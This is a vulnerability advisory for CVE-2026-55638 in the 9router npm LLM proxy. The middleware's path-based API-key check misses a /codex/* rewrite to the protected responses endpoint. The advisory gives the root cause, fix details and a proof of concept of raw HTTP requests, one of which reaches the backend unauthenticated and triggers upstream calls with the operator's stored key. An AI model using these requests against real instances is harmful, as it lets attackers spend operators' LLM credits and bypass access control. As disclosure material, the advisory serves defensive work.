CVE-2026-55638: 9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass
Summary 9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware. However, 9router also defines a rewrite that maps /codex/ to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied.
Published Aug 28, 2026
Affected packages
9router
- Ecosystem
- npm
- Affected
- < 0.5.2
- Fixed in
- 0.5.2
- Check
npm ls 9router
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.
However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.
As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.
Details
| Component | File | Note | | Middleware authorization gate | `src/dashboardGuard.js` | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` | | Rewrite configuration | `next.config.mjs` | Rewrites `/codex/:path*` to `/api/v1/responses` | | LLM backend route | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler | | Chat handler | `src/sse/handlers/chat.js` | Uses operator-stored provider credentials for upstream calls |
Tested version:
| Version / Commit | Runtime | Status | | `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected |
Root Cause
The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:
PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:
return NextResponse.next();The rewrite configuration then maps the allowed request to the protected backend route:
{
source: "/codex/:path*",
destination: "/api/v1/responses"
}The backend route reaches the same handler used by the canonical LLM endpoint:
return await handleChat(request);The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.
PoC
The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.
Case 01 — Protected canonical endpoint rejects unauthenticated access
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}Observed result:
HTTP/1.1 401 UnauthorizedThis confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.
Case 02 — Rewritten /codex/* path bypasses the API-key gate
POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}Observed result:
HTTP/1.1 200 OKThe request reaches the LLM backend without an API key.
A controlled upstream provider endpoint recorded the outbound request from 9router:
POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: trueThis confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.
Case 03 — Unrelated unknown path does not reach the backend
POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}Observed result:
HTTP/1.1 404 Not FoundNo upstream provider call is made. This isolates the issue to the /codex/* rewrite.
Case 04 — Canonical endpoint succeeds only with a valid API key
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}Observed result:
HTTP/1.1 200 OKThis confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.
Attack Scenario
- A remote attacker identifies a publicly reachable 9router instance.
- The attacker sends LLM proxy requests to
/codex/*instead of/api/v1/responses. - The middleware evaluates the original
/codex/*path and does not apply the LLM API-key gate. - The rewrite maps the request to
/api/v1/responses. - The backend processes the request and performs an upstream provider call.
- The upstream call uses the operator-stored provider credentials.
Impact
A successful attacker can use the operator's configured LLM provider account without authentication.
Likely consequences include:
- Unauthorized use of the 9router LLM proxy.
- Consumption of the operator's provider credits or quota.
- Unexpected billing impact.
- Abuse of configured OpenAI/Anthropic-compatible providers.
- Exposure of model/provider behavior through proxy responses.
- Bypass of the intended API-key access control for remote LLM proxy access.
Credited to dinhvaren.
References
- https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r
- https://nvd.nist.gov/vuln/detail/CVE-2026-55638
- https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3
- https://github.com/decolua/9router/releases/tag/v0.5.2
- https://github.com/advisories/GHSA-8gmq-j984-vp4r
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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